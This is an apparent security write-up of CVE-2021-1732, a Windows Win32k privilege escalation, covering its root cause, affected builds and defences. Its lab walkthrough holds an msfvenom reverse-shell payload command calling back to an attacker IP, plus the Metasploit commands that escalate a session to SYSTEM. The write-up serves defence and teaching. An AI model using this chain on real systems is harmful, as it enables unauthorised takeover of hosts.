Executive Summary
CVE-2021-1732 is a Win32k local privilege escalation vulnerability in the Windows graphics subsystem driver win32kfull.sys. The flaw, also referred to as Win32k ConsoleControl Offset Confusion, lets a user with an active interactive session on the target host execute code with NT AUTHORITY\SYSTEM privileges. Internally, the issue is an out-of-bounds write that arises when the kernel reads the cbWndExtra/WndExtra field of a window object as an offset rather than as a length, after the attacker has set the magic 0x800 flag on the window via NtUserConsoleControl. The vulnerability was discovered in the wild and attributed to the BITTER APT group; Microsoft patched it on February 9, 2021 (MSRC advisory CVE-2021-1732).
This article walks through the Safe Security 2021 research paper end-to-end: the root cause inside NtUserCreateWindowEx, the NtCallbackReturn trick used to corrupt the offset, the affected Windows 10 / Windows Server build matrix (1803 through 20H2), and a step-by-step Metasploit-based PoC that pivots from a normal Meterpreter session on a Windows 10 20H2 (build 19042.508) target to a SYSTEM-level session via the public cve_2021_1732_win32k module. The exploit is striking from a defensive standpoint because failed attempts do not bluescreen the host — the attacker can retry until the read/write primitive lands a token swap, making both detection signal and mitigation policy non-trivial.
Introduction
The vulnerability covered here was exploited in the wild by the BITTER APT group in a targeted operation disclosed in February 2021, and patched by Microsoft on February 9, 2021. The affected surface spans Windows 10 versions 1803 through 20H2, Windows Server 2019, Server 2004, and Server 20H2. Three concepts are worth pinning down before the technical detail:
Win32k
The Graphics Device Interface (GDI) gives applications a uniform way to render to monitors, printers, and other output devices. In user mode it lives in gdi.exe on legacy 16-bit Windows and gdi32.dll on 32-bit/64-bit Windows. Kernel-mode GDI support is provided by win32k.sys (and on modern builds win32kfull.sys), which talks directly to graphics drivers. Because Win32k sits in ring 0 and exposes a very large syscall surface (window management, USER, GDI, console), it has been one of the richest LPE sources for the last decade.
LPE (Local Privilege Escalation)
LPE is the act of exploiting a bug in the operating system or an application to gain access to resources normally protected from the current user or application. Practically, LPE on Windows usually means moving from a user-context shell to a SYSTEM-context shell on the same host — the precondition is “already on the box”, the post-condition is “owns the box”.
CVE-2021-1732
CVE-2021-1732 is exactly this kind of LPE: an attacker with an interactive session on a vulnerable Windows host can run a small, specifically crafted program that triggers memory corruption inside win32kfull.sys and ends up executing arbitrary code at SYSTEM. The bug is a boundary error — the kernel mishandles a value supplied by user mode and treats data as an offset, leading to out-of-bounds writes that the attacker uses to escalate a token of the target process.
Vulnerability Description
The root cause sits inside win32kfull!NtUserCreateWindowEx. The full path, paraphrased from the Safe Security paper:
- The vulnerability lives in the Windows graphics driver
win32kfull!NtUserCreateWindowEx. - When the driver
win32kfull.syscallsNtUserCreateWindowExto create a window, it checkstagWND->cbWndExtra(the amount of additional memory allocated for the window instance). When the value is not empty, the kernel callswin32kfull!xxxClientAllocWindowClassExtraBytes, which in turn calls back into user mode atuser32.dll!_xxxClientAllocWindowClassExtraBytesto allocate the memory. After allocation, the address is returned to the kernel viaNtCallbackReturn, which corrects the stack, returns to the kernel layer, and the kernel saves the value and continues execution. When thetagWND->flagcontains the0x800attribute, however, the value is interpreted as an offset rather than a buffer address. - The attacker uses
NtUserConsoleControlto fliptagWND->flagso that it includes the0x800attribute. - Even though this is a kernel-mode code execution and memory-corruption vulnerability, a failed attempt does not trigger a Blue Screen of Death (BSoD) — which means the attacker can simply retry the attack until it succeeds. The final step combines a read primitive and a write primitive to escalate the token of the target process.

NtUserCreateWindowEx through xxxClientAllocWindowClassExtraBytes down to user mode and back. Right: the attack path keeps the same call chain but hooks the user-mode callback and calls Win32u!NtUserConsoleControl to add the 0x800 flag, then returns a fake value via Ntdll!NtCallbackReturn. Source: Safe Security research paper.CVSS, Scope of Impact & Affected Versions
| Metric | Value |
|---|---|
| Base Score | 7.8 (as of 2021-03-26 02:46) |
| Impact Score | 5.9 |
| Exploitability Score | 1.8 |
| Severity | HIGH |
Scope of Impact
- Privilege Escalation: Remote attackers can force their privileges on vulnerable systems. The public exploit module covers only Windows 10 versions 1803 through 20H2.
Risk by Organisation Type
- Government: Large and medium government entities — HIGH. Small government entities — MEDIUM.
- Businesses: Large and medium business entities — HIGH. Small business entities — MEDIUM.
- Home Users: LOW.
Affected Versions
- Windows Server, version 20H2 (Server Core Installation)
- Windows 10 Version 20H2 for ARM64-based Systems
- Windows 10 Version 20H2 for 32-bit Systems
- Windows 10 Version 20H2 for x64-based Systems
- Windows Server, version 2004 (Server Core installation)
- Windows 10 Version 2004 for x64-based Systems
- Windows 10 Version 2004 for ARM64-based Systems
- Windows 10 Version 2004 for 32-bit Systems
- Windows Server, version 1909 (Server Core installation)
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows Server 2019 (Server Core installation)
- Windows Server 2019
- Windows 10 Version 1809 for ARM64-based Systems
- Windows 10 Version 1809 for x64-based Systems
- Windows 10 Version 1809 for 32-bit Systems
- Windows 10 Version 1803 for ARM64-based Systems
- Windows 10 Version 1803 for x64-based Systems
Mitigations
Microsoft patched a wave of Win32k exploitation primitives in the Windows 10 Anniversary update build of the kernel component. Those mitigations — the result of proactive internal research — stop every in-the-wild instance of this exploit chain that Safe Security observed. The concrete defensive action is simple: apply the most recent cumulative update, or the targeted patch released on February 9, 2021:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1732
Exploit Implementation
Attack Scenario
Two VMware-hosted machines on the same lab network:
- A target machine running a vulnerable Windows 10 build (here, 20H2, build 19042.508).
- A Kali Linux attacker box with Metasploit Framework v6.0.40-dev installed.
The chain has two stages. Stage one: land a normal Meterpreter session on the Windows host (any initial-access foothold — here, a stand-alone malicious EXE produced by msfvenom). Stage two: against that session, run the exploit/windows/local/cve_2021_1732_win32k module, which injects CVE-2021-1732.x64.dll into a chosen Win32 process and triggers the offset confusion to spawn a second Meterpreter session under NT AUTHORITY\SYSTEM.
Step 1 — Target information and Windows version
Confirm the build on the target. The PoC was demonstrated against Windows 10 Pro version 20H2, OS Build 19042.508.
winver

Step 2 — Meterpreter payload
The victim’s host-based firewall must be disabled (or have outbound 4433/TCP allowed) for the initial reverse-TCP callback. On Kali, generate a 64-bit Windows EXE that opens a reverse Meterpreter shell back to 192.168.190.138:4433.
msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 \
--platform windows -f exe \
LHOST=192.168.190.138 LPORT=4433 -o /root/test.exe

msfvenom emitting a 510-byte raw payload wrapped into a 7,168-byte Windows EXE that implements a reverse TCP stager. Source: Safe Security research paper.Step 3 — Land a Meterpreter session with multi/handler
Start a generic payload handler in msfconsole, match the payload type and the LHOST/LPORT on the EXE, and run. Once test.exe is executed on the target, a Meterpreter session opens back to the attacker box.
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.190.138
set LPORT 4444
(Note: the LPORT in this stage matches the value baked into test.exe at msfvenom time — substitute 4433 if you follow the previous step verbatim.)

multi/handler configured with the same reverse-TCP payload that was baked into test.exe. Source: Safe Security research paper.Once the target detonates the EXE, Meterpreter session 1 opens under the unprivileged target account — the sysinfo output confirms the build (Windows 10 build 19042, x64) and getuid shows the unprivileged user (DESKTOP-J34QNKO\Victim OS).

192.168.190.98:60540. sysinfo shows Windows 10 build 19042 x64; getuid returns the non-privileged DESKTOP-J34QNKO\Victim OS account. Source: Safe Security research paper.Step 4 — Find the local exploit module
Search Metasploit’s module catalogue for the public PoC of the CVE and select it. The first matching module is exploit/windows/local/cve_2021_1732_win32k (“Win32k ConsoleControl Offset Confusion”, rank good, public since 2021-02-10). Then enumerate its options to see what needs configuring.
search cve 1732
use 0
show options

exploit/windows/local/cve_2021_1732_win32k. show options lists SESSION (required) plus the standard EXITFUNC / LHOST / LPORT payload options. The exploit target is “Windows 10 v1803–20H2 x64”. Source: Safe Security research paper.Step 5 — Configure the exploit options
Point the exploit at the existing Meterpreter session (SESSION -1 is shorthand for “the most recent session”) and confirm the reverse-shell payload settings. LHOST is the attacker IP; LPORT 4444 is the second listener that will catch the privileged callback.
set LHOST 192.168.190.138
set session -1
show options

SESSION -1, LHOST 192.168.190.138, LPORT 4444, target Id 0 (“Windows 10 v1803–20H2 x64”). Source: Safe Security research paper.Step 6 — Verify the target is vulnerable
Before firing, run check to ask the module whether the target build matches what it knows how to exploit.
check

check reports “The target appears to be vulnerable” against the Windows 10 19042 session, so the module is ready to fire. Source: Safe Security research paper.Step 7 — Inject the DLL and escalate
Run the exploit. The module launches notepad.exe on the target, reflectively injects CVE-2021-1732.x64.dll into PID 884, sends the 200,262-byte staged payload back over 192.168.190.138:4444, and opens a second Meterpreter session under SYSTEM.
exploit

192.168.190.138:4444, AutoCheck passes, notepad.exe is launched to host the DLL, the DLL is reflectively injected into PID 884, the 200,262-byte stage is sent, and Meterpreter session 2 opens to the now-privileged target. Source: Safe Security research paper.Step 8 — SYSTEM-level confirmation
Drop into the new session and confirm with getuid — the returned identity is NT AUTHORITY\SYSTEM, the most privileged local principal on Windows. sysinfo still reports the same host (Windows 10 build 19042), and a quick sessions listing shows both sessions side-by-side — the original unprivileged session 1 and the new SYSTEM-level session 2.
getuid
sysinfo
sessions

getuid in the new session returns NT AUTHORITY\SYSTEM; the sessions list shows both the original unprivileged session and the new SYSTEM-level one. The escalation chain is complete. Source: Safe Security research paper.Key Takeaways
- Root cause is a length/offset confusion in Win32k.
tagWND->cbWndExtrais supposed to be a byte count for the WindowClass extra bytes buffer, but iftagWND->flaghas bit0x800set, the kernel reads it as an offset. The attacker plants both the bit and the value during the user-mode callback insidexxxClientAllocWindowClassExtraBytes. - The user-mode callback is the attack surface. Win32k legitimately exits ring 0 to call
user32.dll!_xxxClientAllocWindowClassExtraBytesfor the allocation. By hooking that call, the attacker injectsNtUserConsoleControlwithflag |= 0x800and returns a controlled fake value viaNtCallbackReturn. The kernel then writes through that “offset”. - Failed attempts do not crash the host. Unlike most kernel-mode primitives, missing the target here does not bluescreen Windows. The attacker can retry the exploit until the read/write primitive lands — an enormous reliability and OPSEC win for the attacker, and a real detection problem for the defender.
- Token swap is the LPE step. Once the OOB write primitive is stable, the canonical Win32k LPE payload walks the EPROCESS list, locates the target process token and a SYSTEM token, and copies the SYSTEM token into the attacker process. From there, opening a Win32 process and reflectively injecting a Meterpreter stage gives a SYSTEM-level shell.
- Surface is huge. Every Windows 10 build from 1803 through 20H2 and every Server 2019/2004/20H2 SKU is vulnerable pre-patch. The public Metasploit target is “Windows 10 v1803–20H2 x64”, which covers the bulk of Windows 10 deployments at the time of disclosure.
- BITTER APT used it in the wild before disclosure. The bug was burned by a single observed operation, then patched in February 2021. Public PoCs and the Metasploit module appeared within weeks.
Defensive Recommendations
- Patch. Apply the February 2021 cumulative update or any later Windows 10 / Windows Server cumulative on every host. Reference: MSRC advisory CVE-2021-1732.
- Audit your Windows 10 build floor. Any host still on 1803, 1809, 1909, 2004 or 20H2 without the February-2021 (or later) cumulative update is exploitable today by a publicly available Metasploit module.
- Treat “LPE precondition” as “already lost”. The exploit needs an active session on the box. Hardening initial access (phishing controls, application whitelisting / WDAC, EDR on every endpoint, strict outbound egress filtering) is therefore the practical mitigation for this class of bug.
- Disable Win32k syscalls in attack-surface-reducible processes. Edge, Office and many other modern Microsoft binaries can ship with
ProcessSystemCallDisablePolicyset so the process cannot reach Win32k from sandboxed renderers/content processes. Where you control your own binaries (e.g., your own browser-like sandbox), opt in. - Enable Hypervisor-Protected Code Integrity (HVCI) / Memory Integrity. HVCI prevents arbitrary kernel pages from being marked executable and significantly raises the cost of converting an OOB write into reliable kernel code execution.
- Run Microsoft Defender Attack Surface Reduction (ASR) rules, especially “Block credential stealing from the Windows local security authority subsystem” and “Block process creations originating from PSExec and WMI commands”. The post-exploit Meterpreter behaviour shown in Fig. 7.1 —
notepad.exehosting an injected DLL and opening an outbound TCP socket — is exactly the kind of pattern ASR was built to catch. - Outbound egress filtering. The exploit chain requires two outbound TCP sockets from the target (4433/TCP and 4444/TCP in this PoC). Default-deny outbound to the Internet from endpoints, plus alerting on direct EXE→Internet sockets, breaks the second stage even if the kernel LPE succeeds.
- Hunt for the post-exploit pattern, not the bug. Because failed exploit attempts don’t bluescreen the host, you lose the cheap “BSoD = someone tried” tell. Instead, look for
NtUserConsoleControlinvoked from unusual processes, a token-swap intoNT AUTHORITY\SYSTEMon a process that doesn’t normally hold that token (e.g.,notepad.exe, Office binaries, sandbox renderer hosts), and outbound network sockets from those same processes.
Conclusion
CVE-2021-1732 is a textbook example of a length-vs-offset confusion bug in a kernel-mode component that is reachable from any logged-in user via supported syscalls. The defining feature is operational rather than technical: failed exploit attempts don’t crash the host, which lets the attacker iterate until the OOB write succeeds. Patch coverage is the obvious answer; for hosts that can’t patch promptly, the defensive priorities are hardening initial access, reducing Win32k syscall reachability in sandboxed processes, enabling HVCI, and hunting for the post-exploit behaviour (Win32 process running with an unexpected SYSTEM token, opening an outbound TCP socket) rather than the kernel primitive itself.
References
- CIS — Critical Patches Issued for Microsoft Products, February 09, 2021
- iam.elli0t — CVE-2021-1732 technical writeup
- ReactOS Wiki — Win32k.sys
- DBAPPSecurity — Windows Kernel Zero-Day Exploit Used by BITTER APT in Targeted Attack
- Seebug Paper 1574 — CVE-2021-1732 analysis
- PacketStorm — cve_2021_1732_win32k.rb Metasploit module source
- MSRC — CVE-2021-1732 advisory and patch
Original text: “Windows Win32k Elevation of Privilege Vulnerability (Win32k ConsoleControl Offset Confusion) — CVE-2021-1732” research paper by Safe Security (June 3, 2021).

